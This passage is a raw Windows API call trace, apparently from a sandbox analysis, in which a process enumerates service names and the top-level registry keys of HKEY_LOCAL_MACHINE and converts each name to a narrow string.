cchName=0x104 | out: lpName="mouhid") returned 0x0 [0028.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0028.239] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb5, lpName=0x1c829e0, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0028.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0028.239] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb6, lpName=0x1c829e0, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0028.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0028.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x1c94408, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0028.239] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb7, lpName=0x1c829e0, cchName=0x104 | out: lpName="mpio") returned 0x0 [0028.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x1c94450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0028.239] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb8, lpName=0x1c829e0, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0028.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0028.239] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb9, lpName=0x1c829e0, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0028.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0028.240] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xba, lpName=0x1c829e0, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0028.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0028.240] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbb, lpName=0x1c829e0, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0028.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0028.240] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbc, lpName=0x1c829e0, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0028.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0028.240] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbd, lpName=0x1c829e0, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0028.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0028.240] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbe, lpName=0x1c829e0, cchName=0x104 | out: lpName="msahci") returned 0x0 [0028.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0028.240] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xbf, lpName=0x1c829e0, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0028.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0028.240] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc0, lpName=0x1c829e0, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0028.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x1c94408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0028.240] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc1, lpName=0x1c829e0, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0028.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0028.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x1c94450, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0028.241] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc2, lpName=0x1c829e0, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0028.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0028.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x1c94408, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0028.241] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc3, lpName=0x1c829e0, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0028.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x1c94450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0028.241] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc4, lpName=0x1c829e0, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0028.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x1c94408, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0028.241] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc5, lpName=0x1c829e0, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0028.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0028.241] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc6, lpName=0x1c829e0, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0028.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0028.241] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc7, lpName=0x1c829e0, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0028.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x1c94450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0028.241] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0028.241] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c829e0) returned 1 [0028.241] RegCloseKey (hKey=0x15c) returned 0x0 [0028.241] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0028.242] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1c829e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0028.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1c94408, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0028.242] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1c829e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0028.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0028.242] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1c829e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0028.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1c94408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0028.242] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1c829e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0028.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0028.242] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1c829e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0028.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0028.242] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1c829e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0028.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0028.242] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x164) returned 0x0 [0028.242] RegCloseKey (hKey=0x80000002) returned 0x0 [0028.242] RegEnumKeyW (in: hKey=0x164, dwIndex=0x0, lpName=0x1c829e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0028.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1c94408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0028.243] RegEnumKeyW (in: hKey=0x164, dwIndex=0x1, lpName=0x1c829e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0028.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1c94450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0028.243] RegEnumKeyW (in: hKey=0x164, dwIndex=0x2, lpName=0x1c829e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0028.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1c94408, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0028.243] RegEnumKeyW (in: hKey=0x164, dwIndex=0x3, lpName=0x1c829e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0028.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1c94450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0028.243] RegEnumKeyW (in: hKey=0x164, dwIndex=0x4, lpName=0x1c829e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0028.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0028.243] RegEnumKeyW (in: hKey=0x164, dwIndex=0x5, lpName=0x1c829e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0028.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0028.243] RegEnumKeyW (in: hKey=0x164, dwIndex=0x6, lpName=0x1c829e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0028.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0028.243] RegEnumKeyW (in: hKey=0x164, dwIndex=0x7, lpName=0x1c829e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0028.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1c94450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0028.244] RegEnumKeyW (in: hKey=0x164, dwIndex=0x8, lpName=0x1c829e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0028.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1c94408, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0028.244] RegOpenKeyExW (in: hKey=0x164, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0028.244] RegCloseKey (hKey=0x164) returned 0x0 [0028.244] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1c829e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0028.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0028.244] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1c829e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0028.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1c94408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0028.244] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1c829e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0028.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 